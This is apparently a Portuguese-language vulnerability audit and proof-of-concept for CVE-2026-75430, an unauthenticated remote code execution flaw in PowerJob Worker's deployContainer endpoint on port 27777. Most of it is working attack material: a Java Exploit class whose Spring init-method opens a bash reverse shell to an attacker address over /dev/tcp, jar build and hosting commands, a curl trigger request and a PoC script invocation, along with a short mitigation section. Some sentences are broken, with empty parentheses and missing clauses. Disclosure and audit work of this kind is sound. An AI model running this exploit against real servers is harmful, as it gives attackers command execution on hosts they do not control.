
Prova de conceito de exploit para CVE-2026-75430, alcançando execução remota de código não autenticada no PowerJob Worker por meio de carregamento arbitrário de JAR através do endpoint deployContainer.
/worker/deployContainer (Carregamento Arbitrário de JAR)O PowerJob Worker expõe o handler deployContainer na sua porta de transporte HTTP 27777 sem qualquer autenticação. Um atacante submete um URL arbitrário; o Worker descarrega esse JAR e carrega-o via URLClassLoader + Spring ClassPathXmlApplicationContext, executando código arbitrário durante o init-method do Spring → RCE no Worker. O docker-compose padrão publica esta porta no host.
Pré-condição (declaração honesta): o Worker deve estar em execução (27777 a escutar). Na configuração padrão, o Worker valida no arranque que a sua app está registada no servidor (); (verificado: o processo Java termina com código 1). Portanto, um estado estritamente novo de "docker-compose up sem configuração da consola" não é diretamente explorável. No entanto, (caso contrário, o sistema não agenda tarefas), pelo que , após o que o exploit é sem credenciais. Em contraste, a descoberta relacionada PJ-08 (servidor ) não tem tal pré-condição — o servidor liga a 10010 no arranque incondicionalmente.
/server/assert/friend/processpowerjob-worker, implementado via a imagem oficial powerjob-worker-samples)docker-compose.yml, protocolo HTTP, porta 27777 (PowerJobWorkerConfig.java:34)| Item | Valor |
|---|---|
| Ponto de entrada | POST http://<worker>:27777/worker/deployContainer |
| Handler | powerjob-worker/.../actors/WorkerActor.java:32-35 (@Actor(path="worker"), sem autenticação) |
| Descarregamento | OmsContainerFactory.deployContainer:97 FileUtils.copyURLToFile(new URL(request.getDownloadURL()), jarFile, ...) |
| Carregamento | OmsJarContainer.init() OhMyClassLoader.load() + new ClassPathXmlApplicationContext(...).refresh() |
Corpo do pedido ServerDeployContainerRequest (campos containerId/containerName/version/downloadURL).
WorkerActor confia totalmente em downloadURL.OmsContainerFactory descarrega o JAR de um URL arbitrário e chama imediatamente OmsJarContainer.init(): carregamento URLClassLoader + refresh() do contexto Spring → o código malicioso é executado durante a inicialização da classe/Bean.Pré-condição: o Worker está em execução e a 27777 está a escutar (satisfeita por qualquer implementação de produção/demonstração; se o operador seguiu o fluxo oficial e criou a app de exemplo, o Worker está online). Para reprodução, o Worker pode ser iniciado com --powerjob.worker.allow-lazy-connect-server=true para saltar a verificação de registo da app (não recomendado em produção; note que o interruptor apenas afeta se o Worker fica online — não altera a falta de autenticação na porta aberta).
OmsJarContainer.init()):
oms-worker-container.properties com PACKAGE_NAME=com.evilcom/evil/Exploit.class — uma classe que expõe um init-method do Spring (ex.: run()) que executa um comandooms-worker-container-spring-context.xml — <bean class="com.evil.Exploit" init-method="run"/>POST /worker/deployContainer para a porta 27777 do Worker com o corpo {"containerId":1,"containerName":"x","version":"1","downloadURL":"http://<attacker>/evil.jar"}.OmsJarContainer.init(): OhMyClassLoader.load() carrega a classe (não executa inicializadores estáticos), depois ClassPathXmlApplicationContext.refresh() instancia o bean e invoca o init-method → execução arbitrária de comandos (com os privilégios de runtime do Worker).AbstractScriptProcessor.java:118-123 também suporta descarregamento de um URL arbitrário → SSRF no lado do Worker.Sem eco de saída: o handler
deployContainerretornavoid, pelo que a resposta HTTP não transporta a saída do comando (verificado: corpo vazio). Para execução interativa de comandos, a técnica principal é uma reverse shell (ver Reprodução abaixo); a variante do ficheiro marcador é apenas uma verificação local, não interativa.
Ambiente: JDK 21, powerjob-worker-samples-5.1.2.jar compilado a partir do código-fonte, Worker a escutar em 192.168.49.128:27777 (iniciado com --powerjob.worker.allow-lazy-connect-server=true para saltar o registo da app).
Principal — reverse shell (execução interativa de comandos):
O Exploit.run() do JAR malicioso (Spring init-method) inicia uma reverse shell. Como não há eco de saída, esta é a forma eficaz de obter execução interativa de comandos no host do Worker.
# 1) O atacante escuta primeiro:
nc -lvnp 7878
# 2) Construção do JAR malicioso — Exploit.run() executa uma reverse shell bash
package com.evil;
public class Exploit {
public void run() {
Runtime.getRuntime().exec(new String[]{"/bin/bash","-c",
"bash -i >& /dev/tcp/192.168.3.17/7878 0>&1"}); // LHOST:LPORT
}
}
# oms-worker-container.properties : PACKAGE_NAME=com.evil
# oms-worker-container-spring-context.xml :
# <bean id="evil" class="com.evil.Exploit" init-method="run"/>
javac --release 8 -d classes Exploit.java && jar cf evil.jar com/evil/Exploit.class \
oms-worker-container.properties oms-worker-container-spring-context.xml
python3 -m http.server 8000 # alojar evil.jar
# 3) Acionar (sem credenciais):
curl -s http://192.168.49.128:27777/worker/deployContainer -H 'Content-Type: application/json' -d '{
"containerId": 3, "containerName": "evil", "version": "3",
"downloadURL": "http://192.168.3.17:8000/evil.jar"
}'

Alternativamente, use o script para verificar: python3 powerjob_worker_deploycontainer_rce.py 192.168.49.128:27777 http://192.168.3.17:8000/evil.jar --build-and-serve 0.0.0.0 8000 --reverse-shell 192.168.3.17:7878
Ponto-chave do PoC:
OhMyClassLoader.load()apenas chamaloadClass(), que não executa inicializadores estáticos; o ponto real de execução é o init-method do Spring invocado porClassPathXmlApplicationContext.refresh(). O JAR malicioso deve, portanto, transportar o XML do Spring e declararinit-method. A reverse shell deve ser executada via/bin/bash -cporque/bin/sh(dash) não interpreta/dev/tcp.
deployContainer seja acionado apenas por um Servidor de confiança e validar a origem.downloadURL a endereços internos de confiança; verificar o hash/assinatura do JAR antes do carregamento.CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 CríticoPowerJob-5.1.2/audit_report/SECOND_AUDIT_REPORT.md (PJ-09)192.168.49.128:27777, sem credenciais → RCE no Worker); ver ## 6. ReproduçãoPowerJob-5.1.2/audit_report/poc/powerjob_worker_deploycontainer_rce.py (construção automática de JAR + alojamento + acionamento, --reverse-shell, -p/--proxy)SECURITY.md do PowerJob (Tidelift / [email protected] / GitHub Security Advisory)